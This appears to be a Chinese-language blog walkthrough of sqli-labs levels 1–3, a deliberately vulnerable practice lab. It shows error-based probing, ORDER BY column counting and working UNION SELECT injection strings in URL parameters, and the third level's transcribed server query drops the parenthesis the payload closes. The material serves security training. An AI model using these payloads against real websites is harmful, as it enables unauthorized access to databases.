SQLI第一二三题
SQLi题目
文章目录
第一题:
先尝试-1、‘、“等字符,产生报错信息,通过报错信息来判断接下来如何操作
报错信息用两个单引号标注,我们这里复制出两个单引号之间的内容,就是下面的字符串
报错信息-----> ’ 1’ ’ LIMIT 0,1
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,
猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,
也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致。
这里直接尝试联合查询,爆出注入点(%23为#的url编码,注释后面内容,–+也是注释, --空格)
首先我们查询列数
当我们输入1‘order by 5 %23
在服务端执行的语句
SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1
等同于
SELECT * FROM users WHERE id=’ 1 ’ order by 5
依次查询出字段数为3
开始注入
答案------> ?id=-1’ union select 1,2,3%23
第二题:
同样的我们尝试 单引号、双引号报错
报错信息---------> ’ LIMIT 0,1
根据报错信息,可以确定输入参数的内容被直接存放查询语句
查看源代码也可以验证猜想
所以我们直接联合查询,这里步骤与第一题类似,不再复述
答案------> ?id=-1 union select 1,2,3%23
第三题:
同样的我们尝试 单引号、双引号报错
报错信息---------> ‘1’’) LIMIT 0,1
根据报错信息,可以确定输入参数的内容被存放到一对括号中间
查看源代码也可以验证猜想
首先我们查询列数
当我们输入1‘)order by 5 %23
在服务端执行的语句
SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1
等同于
SELECT * FROM users WHERE id=’ 1 ’ order by 5
依次查询出字段数为3
开始注入
答案------> ?id=-1’) union select 1,2,3 %23
- 点赞
- 收藏
- 分享
- 文章举报
- SQLi-db 批量注入工具+教程
- Sqli-labs less 53
- Sqli-labs less 23
- Sqli-LABS通关笔录-14
- ThinkPHP 3.1,3.2中对IN和BETWEEN正则匹配不当导致的一个SQLi
- 集lamp搭建、DVWA搭建、sqli-labs搭建配置教程及常见问题解决之一
- sqli解题思路
- SQLi-db 批量注入工具+教程
- Sqli-labs less 52
- Sqli-labs less 21
- Sqli-LABS通关笔录-15
- 【sqli-labs】Less1~Less4
- sqli-labs-master第六关
- [sqli-labs]Less1~22答案
- 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】
- Sqli-labs less 51
- Sqli-labs less 18
- Sqli-LABS通关笔录-16
- 【sqli-labs】Less5~Less6
- 集lamp搭建、DVWA搭建、sqli-labs搭建配置教程及常见问题解决之二